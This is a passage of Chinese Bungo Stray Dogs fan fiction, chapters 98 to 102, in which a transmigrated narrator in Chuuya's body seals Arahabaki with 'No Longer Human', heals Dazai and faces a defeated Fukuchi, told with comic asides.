那种被熔浆时刻灼烧的感觉可真难受,连呼吸道都在冒烟,我能够感觉到自己的肺在过度扩张。接受世界意志就是这一点最不好,我需得真实的感受这个世界所经历的一切,才能为“世界意识”所接纳。 我也得为我的选择负责,付出相应的代价。 真是难顶。 我咬着牙,让体内的荒纹力量蔓延得更多更快。 可力量流出去越多,我的本体也就越虚弱,那种痛感也就越强烈。 遭老——罪了。 从我体内散出去的力量,自然也会有被「荒霸吐」吸收消化的部分,为了提高效率、降低被吸收的概率,我只能将力量流动的速度提得更快,让力量流出体内的速度压得更快。 这样对我的伤害自然更大,但此时我也无暇顾及。 “砖缝”在松垮,“砖石”在嗡动。 这些被强行吸收上来的异能力,可都是有主的异能力,它们的“主”,甚至都还活着。 有谁心甘情愿被吸收成养料的? 「荒霸吐」内部的稳定性,比我想象得要差些。 谁让那些异能力者一个个的,都是些怪脾气的家伙。 城市之中、天空之下,那些异能力者们大概也在下意识地、强烈地召回着什么,异能力者们凝聚起来的意志,形成了一种无形的网络,牵制着「荒霸吐」肆无忌惮的扩张。 白光、黑暗之中唯一不会被吸收掉的光! 找到了! 我猛吸了口气,紧紧攥着左腕的右手松开——我都不知道自己松开的是带肉的手,还是干枯枯的手骨。 但有一件事是肯定的,被我保护起来的手环没有被黑雾的“岩浆”炽热所融化。 白色的光在我的意志力量引导下,海啸一般地翻滚涌来。 我不知道外面能不能看到黑雾的这些变化,但在我的眼里,白色巨浪带着极地的寒冷,冲散了岩浆的灼烧后,扑到了我的怀中,将我的身体包裹起来。 ——冷热交接,小心热伤风。 噗,我苦中作乐地想着不知哪里听到过的广告词。 只是,「荒霸吐」难道会愿意放开我这个最大的威胁吗? 当然不可能。 白光之外,黑雾收紧。 紧接着,我就清晰感觉到一股强烈的挤压感。 “咔嚓!” 这声音清脆的,是我肋骨断裂的声音,像脆脆鲨一样。 好听,就是好肋骨。 ——艹! 「荒霸吐」也是果断,在这电光石火之间,祂一点儿都不带犹豫的,瞬间便已做出了决定。冲我来的手段霎时发生了极端变化,祂放弃了我身上稳定的「荒霸吐」力量结构。 祂要直接杀死我! 或许是尝到了犹豫的苦头,「荒霸吐」这次格外果断。 骨头被碾碎、内脏被挤压——疼死劳资啦! 我这优美的中国话,一口气直接把「荒霸吐」的祖宗十八代都问候了一遍。 话说,祂有祖宗吗? 没有也没关系,我可以做祂的祖宗啊! 在这危急存亡的时刻,我竟然还有心思搞这种精神胜利法。 我艰难地感受着,手环在刚才的战斗中裂开,有些微微漏气,再加上「荒霸吐」的阻拦,致使「书」的力量很难快速地涌入其中。 不够,不够,速度太慢了。 这个吸收速度,绝对不会比「荒霸吐」杀死我的速度更快。 得想个办法,得想个办法拖住祂! 哪怕只是拖住几分钟都足够了。 可这个环境里,内无后手、外无援助,我要怎么拖?! 就在我大腿被折断的瞬间,衣服也被烧得差不多的瞬间,衣服之下,有另一样东西“滋滋”冒头。 我的瞳孔向下,视线循着声音而动,一把金属钥匙从被烧干净的口袋布料中,掉进了我手里。 钥匙。 一个金属包裹的、毫无使用价值的钥匙。 它的钥齿如此简单,被它锁上的门,岂不是一根方便面就能捅开? 可此刻,它砸在我的掌心,仿佛真是在我的“心”上,开了一扇窗。 仿佛被无限拉长的一秒内,我借着「书」之力量发出的白光,认出了这种金属,这种并不光滑、甚至是相较于港|黑工业水准,有些粗制滥造的金属、用来盛放「书」本体那盒子的金属。 我大脑中快速闪过数个画面——尾崎红叶转述的话、海面上的幻境、地牢内的金属盒子……最后,这些画面尽数落在了龙彦之间里,宰子那不知为何极度衰弱的面孔上。 啊…… 我好像,知道这个钥匙是什么了。 我好像,知道宰子所说的,“我最需要的东西”是什么了。 过慧易夭这个词是这么用的吗? 可我已经来不及去感受五味杂陈,我看着手骨中的钥匙,“呼——” 我相信太宰治。 我相信他! 这一刻,我放弃了对「荒霸吐」的抵抗,任由那排山倒海的压力冲我袭来。 我的身体是人的身体,人的身体是脆弱的。 但比我身体更脆弱的,是这种已经被“岩浆之热”侵蚀得极脆、又被「荒霸吐」中转站性质极度吸引的钥匙。 “啪”。 这一声非常微弱,就像是在波涛汹涌中滴下一捧水一样微弱。 可就是这微弱的声音,在下一秒绽放出了难以忽略的强盛之光,无数的文字如锁链般展开、迸发,在我眼前快速划过—— “我仍然认为向人诉苦不过是徒劳,与其如此,不如默默承受。” “时间的流逝是平等赋予每个人的疗愈,或许也是救赎。” “我没有能力按照真理来生活,所以才无法跟人类共处。我无法为自己去争论,无法为自己去辩解。” “胆小鬼连幸福都会害怕,碰到棉花都会受伤,有时还被幸福所伤。” 而锁链的尽头,被连成了一句源头。 “回首过往,我的人生满是耻辱之事。” 这是…… 《人间失格》 第99章 「人间失格」是独一无二的、唯一特殊的反异能力。 和所有的异能力都不同, 它的存在,就是为了和异能力背道而驰、它的存在就是为了抵消一切异能力的效果。 就像是天平的两端,一端是黑, 另外一端就必然是白;一端是正, 另一端就必然是反。 两端,有着相同的污染性。 「斗尖荒霸吐」的枪身本体是为了巩固稳定,限制内在能量的无节制蔓延;与之相对的, 承载「人间失格」的人体,也是为了阻碍它的污染性,防止其对异能力的永久性破坏。 当这两股力量都失去了节制,就会像现在这样, 不顾一切地彼此破坏, 期望压制对方。 “OI——真是绝好的克制。” 用一个会破坏异能力结构的力量,去对付一个原本就不稳定的能量体。 黑雾之中的声音骤然凝聚放大,真就仿佛是某种嘶吼,内部的温度上升着——哇,竟然还有上升的空间。 我暗戳戳地感叹着, 手上的动作却丝毫不敢停。 被刺激的「荒霸吐」更加肆无忌惮地抽吸着世界上所有存在的异能力, 我不知道「人间失格」和「荒霸吐」的博弈会走向哪个方向,也没有必要把筹码都赌到「人间失格」这一样事物上。 我原本就只是希望它能帮我拖一些时间而已。 「书」的能量快速地被吸纳, 白色的冷光包裹在我的身体上, 修复着我破碎不堪的身体。 真是,差一点就GG了。 不论是打游戏还是做工作, 我都讨厌输。 刚才释放的力量基本上把我的人设之力榨了个干净, 我这修复好的皮肤上, 连荒纹都没有了。 但因祸得福。 没有了荒纹的占有性, 「书」的力量才能这样流畅地进入我的身体。 裂开的手环漏气, 修好的身体终于不再用疼痛来烦扰我的精神,我迅速改变策略,借助它的辅助性质,让我的身体对「书」力量的接纳加快。 毕竟这战斗还没完,那些散出去的力量已经在抠抠挖挖之中,被「荒霸吐」所裹挟。 尤其是此时,祂忙着对抗「人间失格」带来的锁链束缚,调动起了一切可以调动的力量,那些被我释放出去的力量结构,无疑是祂最容易调动的一种。 有了选择的余地,那手环就可以先空着,战后就是用我体内的「书」催动穿越也完全可行。 如果要我说,「书」的力量究竟是好在哪里,那我此时的回答一定是,它具有某种“创造”的属性。 虽然我的使用并不熟练,虽然“创造”比“破坏”要困难一万倍——但!是!我依然有机会给自己快速构建了一套衣服。 抱歉的是,我有一点点改C服的经验,这身白宰装备,只有面子、没有里子——确实有点“真空”。 可这已经足以帮我挽尊。 呜呜呜——我终于不用在大战后当裸|男了! 字面意义上的感动哭了。 是感动哭了,绝不是刚才疼出来的眼泪! 不是! 我如获新生,吸收结束的几分钟内,我快速适应着力量——制造衣服就是适应力量的一个步骤,绝不仅仅是我自己的私心,我做这些都是有原因的。 感受了一下|体内的力量流动,这绝对是我用过的,最柔和的力量。 有包容性的力量,或许无法马上被我吸收,但我身体里已经没有了和它有对抗性的「荒霸吐」力量,此时使用起来,倒是如臂使指。 我没有多感叹这股力量的流畅,认真地观察和黑暗纠缠的锁链——单从画面颜色上,很难判断到底是谁在占据了上风。 但我猜,或许是「荒霸吐」。 那股力量之庞大,我可是亲身体验过的。 但同样,「人间失格」对其的克制效果我也体验过。 如果说,敦敦算是「书」的钥匙,那「人间失格」就是「荒霸吐」的锁。 ——磕到了! 官逼同死是这样的。 我将「书」的力量收归入体,修复如初的手一左一右,攥紧了两边的锁链——顿时,一阵酥酥麻麻的感觉从我的掌心传来。 我得说,没有了太宰身体束缚的「人间失格」确实要比先前更加强力。几乎是接触的瞬间,我就看到锁链上白色的文字沿着手指束缚着我。 这个能力是无差别起效的被动能力,只要接触,便必然会持续起效。 只不过,我身上并没有任何异能力,原本的异能力已经到了「荒霸吐」的黑屋里。维系着现在的我行动的,是「书」的力量,这种本就包容的力量在脱离了有形体的「书」之后,变得更加具有概念性。 空白的纸张可以容纳任何文字。 「书」的特质,是让写在「书」上的文字具象化成事实;而「书」的力量在被提取出来之后,在我的体内与世界意志相连,成为了可以容纳异能力文字的类型。 「书」是名作载体——这话听上去完全没毛病,逻辑畅通。 代表着《人间失格》的文字刻在我的皮肤上,体内流淌的「书」的力量在与其交接时,隐隐发痒,但却不似其他的异能力,会被直接抵消。 这就对了。 我眼睛一亮,通过我身体连接起来的两种力量流通起来,「书」的纯色上开始浮现文字,一串又一串地从我的身体里冒了出来。 那是和「人间失格」一样的锁链。 就像「荒霸吐」也寻找了本体碎片作为外援一样,我把自己变成了「人间失格」的外援。 压力之下,我对「书」力量的无节制调动加深了我和「书」的内在联系。 某个瞬间,我甚至能够感受到我自己身体和「书」的同化。 该如何形容这种“同化”,就仿佛是在世界意志的规则下,将体内「书」的某些部分,同化成了我自己的异能力。 只是这个过程,尤为缓慢。 很快,更多更加庞大的锁链破雾而出,直直地冲开了「荒霸吐」不稳的黑雾之体,那些先前被我挖松的“砖缝”此时彻底破开。 像「荒霸吐」这样复杂的、混乱的力量,一旦破开连接,想要再连上,可就没那么容易了。 我低头,只见从地面上涌起的那些异能力紧绷着,被楔开的“中转站”出现了裂痕。 所谓墙倒众人推——这种形容,放在此时似乎也勉强合适。 没有哪种异能力会放过这个逃回主人体内的机会。 「荒霸吐」伸出浓郁不祥的黑色触|手,祂将自己分裂的能量片段连接在一起,努力地拉扯。 但,祂的力量,已然站到了所有异能力的对立面。 我知道,就是现在,就是此刻! 身体之中的「书」力毫不犹豫地释放着,将「人间失格」的锁链压力顶到了最强。 霎时,天空被照亮。 不是那种由「斗尖荒霸吐」碎片反射的自然光,而是由「人间失格」中孕育绽放的强烈明亮。 它照射着天空和大地、照射着黑白交接的逢魔之时、照射着吞噬光亮的浓郁黑暗。 「荒霸吐」此时就像是一个遭遇了强光的影子——极度的明亮撕裂了祂的身体,将祂彻底包围了起来。 黑雾在缩小,缩得更小…… 最终,完全被消失,只剩下了锁链的明亮。 正如海上幻境一样,「人间失格」首先束缚了「荒霸吐」的力量;接下来,它就会被引向那个预设的身体。 我低头,在世界意志的改造支撑下,恐高的感觉离我远去。我仿佛能从很高很高的地方,看到港|黑大楼里那个苍白瘦弱的首领。 任何异能力,都会优先寻找本体。 这是事实,否则幻境之中那一条IF线,太宰就不需要将自己沉入海中。 抛开他本身就是个自杀狂魔的事实不谈,已经成为首领的太宰治,不会让自己毫无意义的死去。 他的死亡,带有特殊的目的。 所以我第一反应是,这股力量会被收回到太宰的身体里。 也确实如我所想,锁链在向下垂落着。 可是,就在下一秒,就在我的眼前,港|黑大楼内流动起一阵强烈的电流——极其激烈的那种,甚至连我都看到了电光闪烁。 雷震子降世? 理智上,我非常容易就想到了这股电流的来源和原因,但情感上,我又觉得荒谬离谱。 这么拼的吗? 不要命的人可怕、不要命的首领太宰治更可怕。 电流硬生生地将垂下的锁链驱了回来,异能力体不能长时间失去载体——就像先前我提到的「荒霸吐」会寻找载体的原因一样,它们的运行机制就是如此,力量越强大,就越需要一个□□的载体。 那么,在电流包裹的本体之外,预设好的目标体又是谁? 不会是中也吧? 没道理在艰难从他身上剥离「荒霸吐」后,又将暴戾之力重新送回去的道理。 那……是我? 可是,太宰有在我身上预设过什么吗? 我怎么没这段记忆? 这毕竟是我的身体,如果要将我设定成载体目标,我不可能毫无感觉。 我心里着急了一下。 说实话,我并不愿意让「荒霸吐」有机会和世界意志通过我联系在一起。 祂的中转站性质,在某种程度上,和二次元之外、真实存在的作家作品连接着,如果给祂连上一个代表壁垒的世界意志…… 我担心会有可怕的化学反应。 要么,就让「荒霸吐」彻底留在这个世界载体的体内;要么,就在我摆脱世界意志影响之后,再进入我这个彻底不属于这个次元的载体体内。 最怕的就是不上不下,穿在两个次元的壁垒之间——很不稳定的! 但大家也都知道,我这个人一向是个倒霉蛋,从来都是怕什么来什么。 就算只是在心里腹诽,那也是绝顶的乌鸦嘴。 我那念头一闪,就看到下垂的锁链抬起头来看我。 ……我到底是怎么在一个由文字组成的锁链上,看出“穷凶极饿”的表情来的? 不是错别字,就是“饿”。 它一副饥|渴于寻找载体的样子,让我背后一凉。 我马上就想补救或是跑路。 可是,世界意志的剥离需要一点时间和注意力的集中,而刚才为了搞定「荒霸吐」,「书」更是直接将我和「人间失格」微妙联动。 跑不了,根本跑不了。 锁链仰冲而上,那激烈的白光从未如此刺眼,我下意识地闭眼,抬手挡了一下。 “咚!” 只听,一阵撞击的声音从我的手腕上震荡开来,刺眼的程度骤然降低,我眯眯着眼打开视线。就见那锁链疯狂涌入的,不是我的身体,而是我腕上的手环。 差点忘了,太宰治真正明确做过手脚的,就只有这个手环。 只将活人当作载体的潜意识,让我完全忽略了这个知识点。 好极了。 我心神一松,眼见着比整个港|黑大楼都大的锁链白光全部进入了手环,那种充盈甚至让手环屏幕重新亮了起来。 我甚至在上面,看到了不知什么时候基友发过来的信息代码。 兴奋涌动在我的胸腔。 我的嘴角就像AK一样,根本压不住。 虽然战斗确实凶险,但结果却是我任何时候都没有想过的好。 我身体里的是剩余的「书」的力量,虽然缺失了一大半——大部分都在刚才补给「人间失格」了去压制「荒霸吐」了——但,就这个世界的未尽之事而言,却已经足够。 世界意志拉动着体内剩余的这些力量成为了一种拟态的异能力,让我对其的掌握更加得心应手。 而手环之中,不仅有大半「书」的力量,还有能量体「荒霸吐」的力量、本体枪身的碎片、一些已经被融合进去的异能力,以及从我人设中释放出去的荒纹。 Buff 拉满,我都不敢想,这些力量集合在一起,能给我的穿越司提供多久的动力源! 这一票干得太值了。 果然是高风险高回报,赌一赌有时候也没什么不好的。 我满意地点头,看着手环的边缘发光,「人间失格」的白色文字密集地遍布其上。 想象一下,整本《人间失格》的文字都凝聚在这么小的一个手环上,肉眼根本就看不到文字内容,只能粗略地注意到这明亮的颜色。 此时的我完全忘记了,「人间失格」寻找到载体之后,便会迅速开始生效。 下一秒,一阵强烈的隔绝感,传递到全身。 瞬间,失重感充斥于全身,我的脑子里冒出几个大字:乐极生悲、高空坠落、梅开二度! 去TMD拟态异能力,去TMD「人间失格」啊啊啊啊啊啊啊——! 我张开嘴无声地嘶吼,还那种强烈的、可怕的,让我失魂的、畏惧的失重,直接刺激到了我的中枢。 再有多少世界意志的连接都不够用,这是恐高人刻在DNA里的噩梦。 我的激烈恐惧压过了世界意志和我的连接。 谁来救救我啊! 完蛋,这次这又双叒叕的高空坠落如流星,和过去的每一次都不一样。我不仅有未因同化消失的自我意识,还有明确的痛觉感知。 再见了这美好人间,这要是摔成人饼,我真的会有过去连掏心掏肺都没产生过的PTSD。 我闭上眼睛,紧绷到极度的精神已经失去了思考能力,大脑一片空白。 突然——好吧,我也不知道究竟是不是突然。 失重眩晕和恐惧占据了我的一切心神,我的反应从未如此迟钝过。 我甚至不知道,这股可怕的失重,是什么时候停止的。 我只知道,当我睁开眼睛的时候,看到的不是蔚蓝的天空,而是蔚蓝的眼睛。 等等……我——我、我、我在我推怀里?! 我结巴得说不出话来,满脑子机械重复着眼前的事实:我推抱着我、我推揽着我、我推注视着我。 那双漂亮的蓝眼睛里,情感之复杂、之深沉,几乎要溺毙我。 什么恐高、什么害怕、什么PTSD,一切都不重要了,真的。 再掉一次都值了。 我幸福了。 我就是幸福哥。 第100章 我知道了, 我就是被衣服诅咒的人。 家人们谁懂啊,理智回归的一瞬间我就意识到,今天又是我裸|着社死的一天呢! 还记得吗, 那白宰套装, 本就是「书」的力量凝聚创造而出的服装。 「人间失格」一作用,衣服立马就没有了诶! 只是那一瞬间,我被坠落的恐惧战局了全部理智。 等到我缓过神来、恢复思考能力的时候, 我才意识到—— 我,裸|着,在我推的怀里。 ……嗷嗷嗷,更刺激了是怎么回事! 裸的好! 我没疯, 我真的没疯。 反正也不是一次两次了, 裸都裸了,在给面前都裸够了,难道还差这一回吗! 我将手环窝在怀中,防止它和中也的直接接触。 「人间失格」确实被「书」所强化,但「荒霸吐」的力量也同样强大。前者在后者最不稳定、最暴戾的时候将其封印, 两股力量本身就会产生一定的抵消效果。 再加上一点点载体束缚, 「人间失格」原本还存在一些的传递性也会消失。 所以,这种反异能力效果, 完全不会越过我的身体, 同时对旁人起效。 诶呀,中也这样抱着我, 太宰哥哥不会生气吧! 啊, 差点忘了, 太宰哥哥连挨了两顿雷, 应该要G了呢! 真是地狱笑话。 理智一旦回归, 我的思维马上就活跃了起来。 说实话,如果宰子还是那个「人间失格」宰,我此刻的心情绝不会这么轻松。 但,他现在是一个废宰,一个无异能力宰。 那就意味着,其他人的异能力可以对他起效。 在超能力系的世界里,死是那么容易的吗? 当然,我并不指望着那个最好用的「请君勿死」。虽然没有在这个世界真正见过晶子,但想想也觉得,让她把自己的能力用在一个常年自杀、号称老森头继承人的港|黑首领身上,着实有些异想天开。 换做是我,我都不愿意。 甚至我都觉得,哪怕寻找一些中间关系——比如社长、乱步——都很难成事。 说到底,我和这个世界的武侦也没那么熟。 治愈系的能力确实很少。 但是,这不是还有我吗! 想想看,我是为什么会掉下来、为什么会裸,不就是因为,「书」的那些剩余力量融入我的身体,成为了一种拟态的异能力吗? 原本「书」的力量适应起来不容易、那种“创造性”使用起来很难。但,一旦其成为了“我的异能力”,在这个世界的Buff下,我就可以在很短的时间内,轻松地使用它。 不是我的理解力变强了,而是在世界的规则下,能力掌控的难度降低了。 即使我真的菜到了极点,也可以求求社长,用他的「人上人不造」帮帮我。 但我应该也……没那么菜吧? 我还算是有点本事在身的吧? 即使隔绝着「人间失格」,我也能感觉到体内的拟态异能力很安分、很柔顺、很契合。 当然,刚才那激情下落,把我和世界意志的微妙联系吓得差不多要断干净了。 这个优势估计不会维持太久。 所以,才要抓紧时间。 我先前想的,要马上去嘲讽一波福地樱痴的计划搁置了——更何况,我也不能裸|着去装|逼,对不对? “中也,回港|黑,马上。”我一把抓住中也的肩膀,假公济私地贴贴我推,“太宰剥离了自己的异能力,他应该快要死了。” 两顿狠狠的电,我都扛不住,他不死谁死? 我看着中也瞪大的双眼,瞳孔之中满是错愕。 果然,我就知道。 干这种事儿,宰子必然得背着中也、必然得把他支出去干别的。 下一秒,在中也错愕的眉宇间,涌起一股激烈的怒火。 不要犹豫,一会儿回去我先救救,然后你就可以发动技能:蛞蝓飞踢。 说起这一招来,也不知另一边那坏心眼子的饭团陀总那边怎么样了。 他前挨了中也狠狠的一下,后又有宰子的一些提前安排——我想,暂时控制住对方,应该问题不大吧? 我不再担心那些有的没的,毫不停顿的开口,给中原·责任心重大·任务第一·老实人·中也吃了一颗定心丸。 “放心,天上不会再有事,回!” 空气成风,呼啸而过,快速移动当然也伴有一定的失重感。 这次,我提前做好了心理准备和心理建设——更重要的是,有我推的守护。 始终,任何失重感都不会比刚才那种无助更让我恐惧。 即使这速度真是比刚才的自由落体快一千倍。 不吹不黑,没有谁比中也更关心宰子的死活了。 这可不是我CP脑发作。 我说的“关心死活”指的是关注宰子生存的同时,把对方往死里揍。 这两件完全不冲突的,对吧? 我耸了耸肩,看着眼前正在挨揍的宰子,一点插手进去的欲望都没有——即使宰子那被强行拆除绷带的样子真的超级可怜。 人家两个人打情骂俏,我插手进去做什么? 欣赏记录一下我推揍人的帅气身姿就足够了。 更何况,连我都看得出来,中也打人的拳头都满是怜惜——否则,就以宰子这过度消耗了几年的瘦干巴身体,挨不了一拳就得见阎王。 中也很有分寸的。 我摩挲着自己发烫的掌心,上面隐约还残留着一些反转术式的痕迹。 没错,我用的是这个能力。 对我来说,最熟悉的治愈类能力,就是反转术式。如果要用「书」的创造性来模拟,当然是要优先模拟创造这种能力最为顺手。 效果还不错。 不过,确实没有过去用过的衹王夕月的「神之光」好用。 但我和世界意志的联系到底还是没有完全断开,我刚刚经历了挫骨捅心之痛,现在实在是承受不了那种伤痛转移的副作用。 我也不是铁打的,有极限。 我回神,打开宰子的衣柜,从里面翻找着中也的衣服。 不要问我首领宰办公室的衣柜里,为什么会有中也的衣服,而且还有新有旧、款式各异、从内到外、样样齐全。 咱也不知道,咱也不敢问。 反正能穿就行。 这可是我推的衣服,想想还有些小激动呢。 我熟练地躲避着不知道从哪里飞来的瓶瓶罐罐,不让战斗波及己身体,快速将那身宝蓝色的西装穿在身上——嘶,再搭配一个宰式黑外套。 完美! 不愧是高级定制,港|黑干部的工作制服,不知道比我的C服质感好多少倍。 我看着镜子里的自己,感觉整个人都精神了许多。 接着,我掏了掏衣柜深处——哈,果然,这里还有不少宰子珍藏的绷带和纱布。 我用这些东西把脸上的狼狈擦了擦,橘色发丝当中混着的血液已经有些凝固。但,在漫画世界里,这种血液在头皮上的留存不仅不恶心,反而给我的头发营造出了一种由红到橘的渐变效果。 不愧是中也皮,没有撑不起来的妆造。 如此也是别有一番风味。 等我回去了,马上就出一套IF线正片,放在论坛上混一混,看看能不能骗来几个打工冤种——咳,我说的是,招揽。 招揽几个同好,大家共同发展。 一脚踩在刚才被中也撞碎的玻璃边缘向下看。 哦呼——好高。 港|黑大楼的高度真不是盖的。 但这种高度完全不影响我观察下面的情况。 围在一起的人仿佛是有些混乱,敦敦恰在抬头看我,刚才没见着的晶子、贤治啊也都到了现场。 福地樱痴还举着刀,好像还有几个生面孔。 看来我在上面大战的时候,下面的搞事也没停。 罢了,本来就是想要借着武侦的某些官方关系,来给福地樱痴一行人定罪。 我解决次元层面问题,剩下一些政|治、人事问题,就不该是我关心的了。 我也不擅长。 但!是! 在一切尘埃落定之前,我必须去嘲讽一下! 我身体有那么一秒的前倾,脑补自己从天而降的画面,绝对非常有B格。 只是,我也就前倾了这一秒。 “叮!” 使用备用电源的电梯门打开,我走了进去。 好吧,没错,是我怂了,我承认。 但我绝不会再体验那种失重感——这个怂,我认了。 100-110 第101章 该说不说, 宰子的外套真的很有版型、也很有巧思。 比如肩膀上偷偷藏了暗扣,可以轻易地夹住下面的衣服,让外套可以牢牢地卡在肩膀上, 随风飘动潇洒, 但却也确保飘不走。 我发现这点后,马上在电梯里把自己的外套脱下来,披到了肩膀上。 对着镜面反射中的自己, 我摆了几个Pose。 “果然,还得是这种搭配最有感觉。” 我摸着下巴,对电梯镜子里的自己极为满意。 我并不担心会有其他人突然打开电梯门看到这自我陶醉的举动。一方面,这可是首领电梯, 不是谁都敢踏进来的;另一方面, 为了确保刚才集中起来的大量电流不会伤及己方,这栋楼本来也没有宰子、我、中也之外的第四个生命。 甚至,我进来之后还观察了一下,顶上没有监控。 “谨慎如我。” 我的八字手放在下巴上,对着镜子里的自己wink放电。 就在我得意之时, 脚下地毯“滋滋”作响, 我一低头,就听到声音从脚底传来, “啊, 没想到,世上竟然如此骚|气之人。” ……? 我脸色大变, 一把扯开了厚重的地毯, 在地毯下看到了语音播放口。 “现在才发现已经迟了。” 我隐约还能听到背景里中也的骂声, 这一下子就绝了这还是提前录好声音的可能。 我嘴角抽动, 看着眼前明亮的镜子, 抬手狠给了一拳。 “咔!” 只要手环不戴在我手上,我的力量还是很可观的。镜面随着我的行动碎裂,露出了单向玻璃后的摄像头。 不,这个空间甚至可以藏下两三个人。 ……我就说,为什么首领专用的电梯里会有这么大的镜子。 我本来还在腹诽宰子的自恋。 没想到,竟然是我在照镜子。 虽然知道无用,但我还是一圈捶碎镜头以示抗议和泄愤。 身后的电梯门一开,我马上低头冲了出去。 真是一秒都不能在宰子那混杂着痛呼的嘲笑声中多待。 可恶啊! 怎么这种时候都能被玩|弄一下。 我懊恼着一脚踏出了港|黑早就碎得不成样子的大门,看到了外面互掐的场景。 大概上刚才我从天空坠落、俯冲、再砸到大楼顶层、捞宰也花费了不少时间,那些原本浮动在半空中的“异能力链条”已经全部消失。 没有了「荒霸吐」的牵扯,这些异能力自然是要回落到异能力者身体当中的。 这种天然的适配度甚至不需要多少重新适应的时间。 异能力重返战场,原本已经变成了肉搏的战斗迅速升级,各色的异能力又开始放彩虹——什么白色、红色、金黄色,像是在看舞台剧。 我很好奇,是只有我才能看到这些异能力光的细节,还是说其他人都能看到? 毕竟我和世界意志的同化根本没维持多久就被失重吓得断裂九成九,我很难做出精准判断。 可如果大家都能看到的话……难道没有人想着研究一下自己异能力光上的文字、顺便记录一下,复兴一下这世界的文艺行业吗? 我摩挲着下巴,想着这些根本不重要的事,半点都没有注意到,福地樱痴见我出现后,那骤然变化的、恶狠狠的表情和眼神。 ……我假装自己没有注意到,保持了一下不以物喜的超然B|格,给刚才电梯里的自己挽个尊。 “你这个复制品——!” 他目眶欲裂,极度愤怒之下,延长的剑身一击逼退社长,他整个人都朝我扑了过来。 消除异能力是他的毕生所求,他不在乎生死、不在乎人命、不在乎责任、不在乎大义,平生只想做的唯一一件事,在我的胡搅蛮缠下,失败了。 那种人生理想功败垂成的破碎感可以想见。 如果他今天能带一个人同归于尽的话,那个人肯定是我。 我还是很有这种自觉的。 所以,出来的瞬间,我就已经做好了准备。 「书」力的白光从我的掌心蔓延而出,如绷带一般,紧紧地缠绕在福地樱痴的刀身上。 绷带和宰服绝配哦! 我一把拉过他的武器,逼着他靠近我,极短的一个呼吸内,一脚踹在了他的腹部,将他踹飞出去。 不用怀疑,他没有躲开。 或许,这把特殊的「神刀·雨御前」给几秒之前的福地樱痴发出了警告,但现在的情况对于福地樱痴来说,难道还有要谨慎斟酌的必要吗? 他不是要和我战斗,他只是要冲我发泄情绪。 我看清了这一点,所以才断定,他不会躲,他甚至不会通过「神刀·雨御前」给过去几秒的自己发送警告——即使发送了,此刻的他无法再去思考。 战斗最忌讳的就是情绪主导。 要是像我这样类型的逗比也就罢了,福地樱痴是剑士,剑士的心乱了,刀也就握不稳了。 他重重地摔在地上,甚至在地面留下一长条拖痕。原本矍铄的精神萎靡着,直白后的无能狂怒根本就支撑不起他先前的精神状态。 白发都显得灰败起来。 颇有一种我暴打老年(逼)人(登)的既视感。 我愧疚了那么零点零一秒。 但,是他先搞事的。 他已经不知道该如何发泄自己的情绪、表达愤怒,只能掏出那本代表了我和他交易的「书」,疯魔一般地用怀刀疯狂地破坏。 福地樱痴的「神刀·雨御前」不是凡刀,那把怀刀可能也有某些特殊效果。 否则,他怎么能那样轻易地把「书」的本体捅|烂成那个样子。 即使那个本子已经不能被称为「书」,即使那些支撑着它特殊效果的力量,已经全部被我收入囊中——可,过去无数个日夜受到那样纯粹力量滋养,那个本子也不该是一般武器能够轻易破坏的。 其他人大概是也意识到了这点,「书」是不会被这样轻易破坏的。 换而言之,被这样破坏了的,也就不是真正的「书」。 所有人都想明白了这个道理,所有人都知道此时破坏这个本子没有一点意义。 可只有福地樱痴,他还在重复着那个动作。 不知为什么,我原本是准备了不少嘲讽的话,打算狠狠地来一波打脸行为的。 但,当我真正看到眼前的画面、看到福地樱痴这副模样的时候,却只觉得一阵空虚、大脑恍惚,脸色也完全不像我自己想的那样愉悦。 谈不上不忍或是恻隐,只是觉得,如果刚才失败的是我,我不会也无能狂怒吧? 第102章 我丧失了嘲笑福地樱痴的力气和手段。 有一说一, 他对理想的坚定程度,绝对是我辈楷模。 有理想、有抱负、有手段。 即使用力的方向错了,但他仍然是个相当值得尊敬的反派人物。 更重要的是……尊老爱幼是我们中华民族的传统美德。 先前他意气风发的时候不觉得, 如今颓丧起来, 福地樱痴完全就和一个干瘪老头子没有区别,甚至更加垂暮。 当然了,不嘲笑归不嘲笑, 再来一次,我也只会把他坑得更狠。 拜托,那是他先来招惹我的。 他先要杀我、利用我的。 我耸了耸肩,「神刀·雨御前」在手, 我用指腹拨动着刀锋, 像是波动不动声色地调整着自己的风衣外披,悄咪咪地给自己吹了一阵小风,正好撩动外衣飘动——我时刻告诉自己,保持肩膀放松腰挺直的精神风貌。 这可是我对着镜子日夜重复,总结出来的最佳站姿, 所有的假装轻松, 背后都有一个绷紧的腰做支撑,不然就会显得很没有精神气儿。 余光扫过敦敦的星星眼, 我的嘴角更压不下去了。 被人崇拜, 得意加倍。 “大局已定,福地先生是聪明人, 何必做这种无谓的挣扎呢?”多小丑啊。 我反手将刀插在地上, 「神刀·雨御前」不愧是神刀, 轻而易举地切开了地面的瓷砖、水泥, 直愣愣地竖立着, 像是福地樱痴不愿意弯下的脊梁。 他抬眼看我,灰暗的瞳孔里几乎照不进光去。但出乎预料的是,他的眼神中虽然没有释然,但也没有怨恨,甚至连偏执都淡得看不到。 刚才那一脚,就像是把他踹醒了一样。他清醒地意识到了自己的失败,心中愤愤的同时,理智却已经接受了这个现实。 一旦接受了现实,他那挺直的脊梁就不允许自己逃避。 “你的荒纹,消失了。”福地樱痴努力地组织着自己的思路,他大概还是想不通,自己究竟是败在了哪一步,“复制品以「荒霸吐」的力量为核心——不,应该说本体也是如此,失去了荒纹,失去了那种力量的来源,就等于失去了生命之源。中原中也不应该活着,你更不应该。” “但是,我都已经站在你面前了,推论永远比不上事实的笃定,不是吗?无论你再做什么,都不能再改变现在的结局了。”我抬手,掌心溢出白光像是绷带一样,彼此缠绕编织着,组成了只有一指长的「书」样,和福地樱痴手下那被戳烂的本子有着相似的外表,“你很清楚吧,真正的「书」,是不会轻易被破坏成那样的。” 福地樱痴心里一定比任何人都清楚,他怀刀攻击下的「书」的质感就有问题。 他旁边的果戈里或许也能回忆起来刚才拿到「书」时候的感觉。 他的披风被撕扯得破破烂烂,满满的都是虎爪的痕迹。 被敦敦截断的异能力不能轻易恢复,异能力之外,他的体术在异能力者群体里,便有些捉襟见肘。 他的四肢被芥芥的黑兽紧紧束缚,触|手系意味十足。现在的他,全身最灵活的地方,成了他的眼珠子。 